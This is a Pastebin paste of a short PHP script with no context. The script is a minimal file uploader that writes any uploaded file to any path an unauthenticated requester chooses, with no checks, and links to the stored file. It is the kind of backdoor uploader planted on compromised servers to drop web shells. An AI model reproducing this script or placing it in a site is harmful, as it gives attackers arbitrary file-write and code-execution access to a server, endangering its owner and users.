SHARE
TWEET

Untitled

a guest Sep 20th, 2017 51 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $files = @$_FILES["files"];
  3. if ($files["name"] != '') {
  4.     $fullpath = $_REQUEST["path"] . $files["name"];
  5.     if (move_uploaded_file($files['tmp_name'], $fullpath)) {
  6.         echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
  7.     }
  8. }echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
  9. ?>
RAW Paste Data
Top